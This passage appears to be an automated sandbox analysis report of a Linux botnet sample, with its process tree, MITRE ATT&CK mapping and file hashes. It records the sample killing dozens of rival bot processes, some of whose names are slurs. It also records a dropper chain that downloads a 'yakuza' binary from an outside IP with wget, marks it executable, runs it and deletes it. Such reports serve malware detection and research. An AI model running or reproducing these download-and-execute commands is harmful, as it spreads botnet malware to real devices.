- - /bin/sh
    /bin/sh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"
    3⤵
    PID:963
  - - /usr/bin/pkill
      pkill -9 scansh4
      4⤵
      PID:967
  - - /bin/busybox
      busybox pkill -9 scansh4
      4⤵
      PID:975
- - /bin/sh
    /bin/sh -c "pkill -9 MDMA || busybox pkill -9 MDMA"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:982
  - - /usr/bin/pkill
      pkill -9 MDMA
      4⤵
      PID:984
  - - /bin/busybox
      busybox pkill -9 MDMA
      4⤵
      PID:990
- - /bin/sh
    /bin/sh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:996
  - - /usr/bin/pkill
      pkill -9 fdevalvex
      4⤵
      PID:999
  - - /bin/busybox
      busybox pkill -9 fdevalvex
      4⤵
      PID:1002
- - /bin/sh
    /bin/sh -c "pkill -9 scanspc || busybox pkill -9 scanspc"
    3⤵
    PID:1009
  - - /usr/bin/pkill
      pkill -9 scanspc
      4⤵
      PID:1012
  - - /bin/busybox
      busybox pkill -9 scanspc
      4⤵
      PID:1017
- - /bin/sh
    /bin/sh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"
    3⤵
    PID:1021
  - - /usr/bin/pkill
      pkill -9 MELTEDNINJAREALZ
      4⤵
      PID:1024
  - - /bin/busybox
      busybox pkill -9 MELTEDNINJAREALZ
      4⤵
      PID:1028
- - /bin/sh
    /bin/sh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1034
  - - /usr/bin/pkill
      pkill -9 flexsonskids
      4⤵
      Reads runtime system information
      PID:1037
  - - /bin/busybox
      busybox pkill -9 flexsonskids
      4⤵
      PID:1042
- - /bin/sh
    /bin/sh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1049
  - - /usr/bin/pkill
      pkill -9 scanx86
      4⤵
      PID:1051
  - - /bin/busybox
      busybox pkill -9 scanx86
      4⤵
      PID:1056
- - /bin/sh
    /bin/sh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"
    3⤵
    PID:1064
  - - /usr/bin/pkill
      pkill -9 MISAKI-U79OL
      4⤵
      PID:1065
  - - /bin/busybox
      busybox pkill -9 MISAKI-U79OL
      4⤵
      PID:1070
- - /bin/sh
    /bin/sh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"
    3⤵
    PID:1077
  - - /usr/bin/pkill
      pkill -9 foAxi102kxe
      4⤵
      PID:1080
  - - /bin/busybox
      busybox pkill -9 foAxi102kxe
      4⤵
      PID:1082
- - /bin/sh
    /bin/sh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1090
  - - /usr/bin/pkill
      pkill -9 swodjwodjwoj
      4⤵
      PID:1091
  - - /bin/busybox
      busybox pkill -9 swodjwodjwoj
      4⤵
      PID:1095
- - /bin/sh
    /bin/sh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1102
  - - /usr/bin/pkill
      pkill -9 MmKiy7f87l
      4⤵
      PID:1103
  - - /bin/busybox
      busybox pkill -9 MmKiy7f87l
      4⤵
      PID:1104
- - /bin/sh
    /bin/sh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1114
  - - /usr/bin/pkill
      pkill -9 freecookiex86
      4⤵
      PID:1115
  - - /bin/busybox
      busybox pkill -9 freecookiex86
      4⤵
      PID:1116
- - /bin/sh
    /bin/sh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1126
  - - /usr/bin/pkill
      pkill -9 sysgpu
      4⤵
      PID:1127
  - - /bin/busybox
      busybox pkill -9 sysgpu
      4⤵
      PID:1128
- - /bin/sh
    /bin/sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1138
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      PID:1139
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:1140
- - /bin/sh
    /bin/sh -c "pkill -9 frgege || busybox pkill -9 frgege"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1149
  - - /usr/bin/pkill
      pkill -9 frgege
      4⤵
      PID:1150
  - - /bin/busybox
      busybox pkill -9 frgege
      4⤵
      PID:1152
- - /bin/sh
    /bin/sh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1161
  - - /usr/bin/pkill
      pkill -9 sysupdater
      4⤵
      PID:1163
  - - /bin/busybox
      busybox pkill -9 sysupdater
      4⤵
      PID:1164
- - /bin/sh
    /bin/sh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1172
  - - /usr/bin/pkill
      pkill -9 0DnAzepd
      4⤵
      Reads CPU attributes
      PID:1174
  - - /bin/busybox
      busybox pkill -9 0DnAzepd
      4⤵
      PID:1178
- - /bin/sh
    /bin/sh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"
    3⤵
    PID:1185
  - - /usr/bin/pkill
      pkill -9 NiGGeRD0nks69
      4⤵
      Reads runtime system information
      PID:1187
  - - /bin/busybox
      busybox pkill -9 NiGGeRD0nks69
      4⤵
      PID:1190
- - /bin/sh
    /bin/sh -c "pkill -9 frgreu || busybox pkill -9 frgreu"
    3⤵
    PID:1197
  - - /usr/bin/pkill
      pkill -9 frgreu
      4⤵
      PID:1199
  - - /bin/busybox
      busybox pkill -9 frgreu
      4⤵
      PID:1204
- - /bin/sh
    /bin/sh -c "pkill -9 telnetd || busybox pkill -9 telnetd"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1211
  - - /usr/bin/pkill
      pkill -9 telnetd
      4⤵
      PID:1212
  - - /bin/busybox
      busybox pkill -9 telnetd
      4⤵
      PID:1216
- - /bin/sh
    /bin/sh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1223
  - - /usr/bin/pkill
      pkill -9 0x766f6964
      4⤵
      PID:1226
  - - /bin/busybox
      busybox pkill -9 0x766f6964
      4⤵
      PID:1229
- - /bin/sh
    /bin/sh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1236
  - - /usr/bin/pkill
      pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1238
  - - /bin/busybox
      busybox pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1242
- - /bin/sh
    /bin/sh -c "pkill -9 gaft || busybox pkill -9 gaft"
    3⤵
    PID:1249
  - - /usr/bin/pkill
      pkill -9 gaft
      4⤵
      PID:1250
  - - /bin/busybox
      busybox pkill -9 gaft
      4⤵
      PID:1256
- - /bin/sh
    /bin/sh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"
    3⤵
    PID:1262
  - - /usr/bin/pkill
      pkill -9 urasgbsigboa
      4⤵
      PID:1263
  - - /bin/busybox
      busybox pkill -9 urasgbsigboa
      4⤵
      PID:1264
- - /bin/sh
    /bin/sh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1274
  - - /usr/bin/pkill
      pkill -9 120i3UI49
      4⤵
      Reads CPU attributes
      PID:1275
  - - /bin/busybox
      busybox pkill -9 120i3UI49
      4⤵
      PID:1276
- - /bin/sh
    /bin/sh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1283
  - - /usr/bin/pkill
      pkill -9 OaF3
      4⤵
      PID:1284
  - - /bin/busybox
      busybox pkill -9 OaF3
      4⤵
      PID:1288
- - /bin/sh
    /bin/sh -c "pkill -9 geae || busybox pkill -9 geae"
    3⤵
    PID:1292
  - - /usr/bin/pkill
      pkill -9 geae
      4⤵
      PID:1296
  - - /bin/busybox
      busybox pkill -9 geae
      4⤵
      PID:1299
- - /bin/sh
    /bin/sh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"
    3⤵
    PID:1304
  - - /usr/bin/pkill
      pkill -9 vaiolmao
      4⤵
      PID:1307
  - - /bin/busybox
      busybox pkill -9 vaiolmao
      4⤵
      PID:1312
- - /bin/sh
    /bin/sh -c "pkill -9 123123a || busybox pkill -9 123123a"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1318
  - - /usr/bin/pkill
      pkill -9 123123a
      4⤵
      Reads CPU attributes
      PID:1321
  - - /bin/busybox
      busybox pkill -9 123123a
      4⤵
      PID:1324
- - /bin/sh
    /bin/sh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"
    3⤵
    PID:1333
  - - /usr/bin/pkill
      pkill -9 Ofurain0n4H34D
      4⤵
      PID:1335
  - - /bin/busybox
      busybox pkill -9 Ofurain0n4H34D
      4⤵
      PID:1339
- - /bin/sh
    /bin/sh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1345
  - - /usr/bin/pkill
      pkill -9 ggTrex
      4⤵
      Reads runtime system information
      PID:1348
  - - /bin/busybox
      busybox pkill -9 ggTrex
      4⤵
      PID:1351
- - /bin/sh
    /bin/sh -c "pkill -9 wasads || busybox pkill -9 wasads"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1357
  - - /usr/bin/pkill
      pkill -9 wasads
      4⤵
      Reads CPU attributes
      PID:1358
  - - /bin/busybox
      busybox pkill -9 wasads
      4⤵
      PID:1360
- - /bin/sh
    /bin/sh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1369
  - - /usr/bin/pkill
      pkill -9 1293194hjXD
      4⤵
      PID:1370
  - - /bin/busybox
      busybox pkill -9 1293194hjXD
      4⤵
      PID:1371
- - /bin/sh
    /bin/sh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1381
  - - /usr/bin/pkill
      pkill -9 OthLaLosn
      4⤵
      PID:1382
  - - /bin/busybox
      busybox pkill -9 OthLaLosn
      4⤵
      PID:1383
- - /bin/sh
    /bin/sh -c "pkill -9 ggt || busybox pkill -9 ggt"
    3⤵
    PID:1393
  - - /usr/bin/pkill
      pkill -9 ggt
      4⤵
      PID:1394
  - - /bin/busybox
      busybox pkill -9 ggt
      4⤵
      PID:1395
- - /bin/sh
    /bin/sh -c "pkill -9 wget-log || busybox pkill -9 wget-log"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1405
  - - /usr/bin/pkill
      pkill -9 wget-log
      4⤵
      PID:1406
  - - /bin/busybox
      busybox pkill -9 wget-log
      4⤵
      PID:1407
- - /bin/sh
    /bin/sh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1415
  - - /usr/bin/pkill
      pkill -9 1337SoraLOADER
      4⤵
      PID:1417
  - - /bin/busybox
      busybox pkill -9 1337SoraLOADER
      4⤵
      PID:1419
- - /bin/sh
    /bin/sh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1430
  - - /usr/bin/pkill
      pkill -9 SAIAKINA
      4⤵
      PID:1431
  - - /bin/busybox
      busybox pkill -9 SAIAKINA
      4⤵
      PID:1433
- - /bin/sh
    /bin/sh -c "pkill -9 ggtq || busybox pkill -9 ggtq"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1442
  - - /usr/bin/pkill
      pkill -9 ggtq
      4⤵
      PID:1443
  - - /bin/busybox
      busybox pkill -9 ggtq
      4⤵
      PID:1445
- - /bin/sh
    /bin/sh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"
    3⤵
    PID:1454
  - - /usr/bin/pkill
      pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:1455
  - - /bin/busybox
      busybox pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:1458
- - /bin/sh
    /bin/sh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1466
  - - /usr/bin/pkill
      pkill -9 SAIAKUSO
      4⤵
      Reads CPU attributes
      PID:1467
  - - /bin/busybox
      busybox pkill -9 SAIAKUSO
      4⤵
      PID:1471
- - /bin/sh
    /bin/sh -c "pkill -9 ggtr || busybox pkill -9 ggtr"
    3⤵
    PID:1479
  - - /usr/bin/pkill
      pkill -9 ggtr
      4⤵
      Reads CPU attributes
      PID:1480
  - - /bin/busybox
      busybox pkill -9 ggtr
      4⤵
      PID:1481
- - /bin/sh
    /bin/sh -c "pkill -9 14Fa || busybox pkill -9 14Fa"
    3⤵
    PID:1491
  - - /usr/bin/pkill
      pkill -9 14Fa
      4⤵
      Reads runtime system information
      PID:1492
  - - /bin/busybox
      busybox pkill -9 14Fa
      4⤵
      PID:1493
- - /bin/sh
    /bin/sh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1503
  - - /usr/bin/pkill
      pkill -9 SEXSLAVE1337
      4⤵
      Reads runtime system information
      PID:1504
  - - /bin/busybox
      busybox pkill -9 SEXSLAVE1337
      4⤵
      PID:1505
- - /bin/sh
    /bin/sh -c "pkill -9 ggtt || busybox pkill -9 ggtt"
    3⤵
    PID:1515
  - - /usr/bin/pkill
      pkill -9 ggtt
      4⤵
      PID:1516
  - - /bin/busybox
      busybox pkill -9 ggtt
      4⤵
      PID:1517
- - /bin/sh
    /bin/sh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1529
  - - /usr/bin/pkill
      pkill -9 1902a3u912u3u4
      4⤵
      PID:1530
  - - /bin/busybox
      busybox pkill -9 1902a3u912u3u4
      4⤵
      PID:1531
- - /bin/sh
    /bin/sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1540
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      PID:1541
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:1543
- - /bin/sh
    /bin/sh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1552
  - - /usr/bin/pkill
      pkill -9 haetrghbr
      4⤵
      PID:1553
  - - /bin/busybox
      busybox pkill -9 haetrghbr
      4⤵
      PID:1555
- - /bin/sh
    /bin/sh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"
    3⤵
    PID:1564
  - - /usr/bin/pkill
      pkill -9 19ju3d
      4⤵
      PID:1565
  - - /bin/busybox
      busybox pkill -9 19ju3d
      4⤵
      PID:1567
- - /bin/sh
    /bin/sh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1576
  - - /usr/bin/pkill
      pkill -9 SORAojkf120
      4⤵
      PID:1577
  - - /bin/busybox
      busybox pkill -9 SORAojkf120
      4⤵
      PID:1579
- - /bin/sh
    /bin/sh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1588
  - - /usr/bin/pkill
      pkill -9 hehahejeje92
      4⤵
      PID:1589
  - - /bin/busybox
      busybox pkill -9 hehahejeje92
      4⤵
      PID:1591
- - /bin/sh
    /bin/sh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1600
  - - /usr/bin/pkill
      pkill -9 2U2JDJA901F91
      4⤵
      PID:1601
  - - /bin/busybox
      busybox pkill -9 2U2JDJA901F91
      4⤵
      PID:1603
- - /bin/sh
    /bin/sh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1611
  - - /usr/bin/pkill
      pkill -9 SlaVLav12
      4⤵
      PID:1613
  - - /bin/busybox
      busybox pkill -9 SlaVLav12
      4⤵
      PID:1618
- - /bin/sh
    /bin/sh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1626
  - - /usr/bin/pkill
      pkill -9 helpmedaddthhhhh
      4⤵
      PID:1627
  - - /bin/busybox
      busybox pkill -9 helpmedaddthhhhh
      4⤵
      PID:1633
- - /bin/sh
    /bin/sh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1639
  - - /usr/bin/pkill
      pkill -9 2wgg9qphbq
      4⤵
      PID:1640
  - - /bin/busybox
      busybox pkill -9 2wgg9qphbq
      4⤵
      PID:1645
- - /bin/sh
    /bin/sh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"
    3⤵
    PID:1651
  - - /usr/bin/pkill
      pkill -9 Slav3Th3seD3vices
      4⤵
      PID:1652
  - - /bin/busybox
      busybox pkill -9 Slav3Th3seD3vices
      4⤵
      PID:1653
- - /bin/sh
    /bin/sh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"
    3⤵
    PID:1663
  - - /usr/bin/pkill
      pkill -9 hzSmYZjYMQ
      4⤵
      PID:1664
  - - /bin/busybox
      busybox pkill -9 hzSmYZjYMQ
      4⤵
      PID:1665
- - /bin/sh
    /bin/sh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"
    3⤵
    PID:1675
  - - /usr/bin/pkill
      pkill -9 5Gbf
      4⤵
      Reads CPU attributes
      PID:1676
  - - /bin/busybox
      busybox pkill -9 5Gbf
      4⤵
      PID:1677
- - /bin/sh
    /bin/sh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"
    3⤵
    PID:1685
  - - /usr/bin/pkill
      pkill -9 SoRAxD123LOL
      4⤵
      PID:1686
  - - /bin/busybox
      busybox pkill -9 SoRAxD123LOL
      4⤵
      PID:1689
- - /bin/sh
    /bin/sh -c "pkill -9 iaGv || busybox pkill -9 iaGv"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1697
  - - /usr/bin/pkill
      pkill -9 iaGv
      4⤵
      Reads CPU attributes
      PID:1698
  - - /bin/busybox
      busybox pkill -9 iaGv
      4⤵
      PID:1701
- - /bin/sh
    /bin/sh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"
    3⤵
    PID:1709
  - - /usr/bin/pkill
      pkill -9 5aA3
      4⤵
      PID:1711
  - - /bin/busybox
      busybox pkill -9 5aA3
      4⤵
      PID:1713
- - /bin/sh
    /bin/sh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1724
  - - /usr/bin/pkill
      pkill -9 SoRAxD420LOL
      4⤵
      PID:1725
  - - /bin/busybox
      busybox pkill -9 SoRAxD420LOL
      4⤵
      PID:1727
- - /bin/sh
    /bin/sh -c "pkill -9 insomni || busybox pkill -9 insomni"
    3⤵
    PID:1735
  - - /usr/bin/pkill
      pkill -9 insomni
      4⤵
      PID:1737
  - - /bin/busybox
      busybox pkill -9 insomni
      4⤵
      PID:1741
- - /bin/sh
    /bin/sh -c "pkill -9 640277 || busybox pkill -9 640277"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1748
  - - /usr/bin/pkill
      pkill -9 640277
      4⤵
      Reads runtime system information
      PID:1749
  - - /bin/busybox
      busybox pkill -9 640277
      4⤵
      PID:1753
- - /bin/sh
    /bin/sh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1761
  - - /usr/bin/pkill
      pkill -9 SoraBeReppin1337
      4⤵
      PID:1762
  - - /bin/busybox
      busybox pkill -9 SoraBeReppin1337
      4⤵
      PID:1765
- - /bin/sh
    /bin/sh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:1773
  - - /usr/bin/pkill
      pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:1774
  - - /bin/busybox
      busybox pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:1777
- - /bin/sh
    /bin/sh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"
    3⤵
    PID:1785
  - - /usr/bin/pkill
      pkill -9 66tlGg9Q
      4⤵
      Reads runtime system information
      PID:1786
  - - /bin/busybox
      busybox pkill -9 66tlGg9Q
      4⤵
      PID:1787
- - /bin/sh
    /bin/sh -c "pkill -9 T || busybox pkill -9 T"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1797
  - - /usr/bin/pkill
      pkill -9 T
      4⤵
      PID:1798
  - - /bin/busybox
      busybox pkill -9 T
      4⤵
      PID:1799
- - /bin/sh
    /bin/sh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:1809
  - - /usr/bin/pkill
      pkill -9 jUYfouyf87
      4⤵
      Reads runtime system information
      PID:1810
  - - /bin/busybox
      busybox pkill -9 jUYfouyf87
      4⤵
      PID:1811
- /bin/rm
  rm -rf yakuza.arm7
  2⤵
  PID:847
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.sparc
  2⤵
  - Writes file to tmp directory
  PID:851
- /bin/chmod
  chmod +x yakuza.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/yakuza.sparc
  ./yakuza.sparc
  2⤵
  PID:864
- /bin/rm
  rm -rf yakuza.sparc
  2⤵
  PID:866

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/yakuza.mips

Filesize
183KB

MD5
fe20c84814e3b28ab3b4d72949f09c9a

SHA1
0bf1e245ca54ea279f349a6110ea3cf2a90bafc8

SHA256
cf50bcd9a2ed02b09dc85b05f13526a850da52e616d16d93224282c464c21468

SHA512
9a6d894da0f1c50f7ca27f2452d4dc9f531427a417ebb5a2eaa76bb020279fc8171f2926daf25c25817766ea7bf4b85dec2bec1e28a340cd2548c21ec07b8203

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads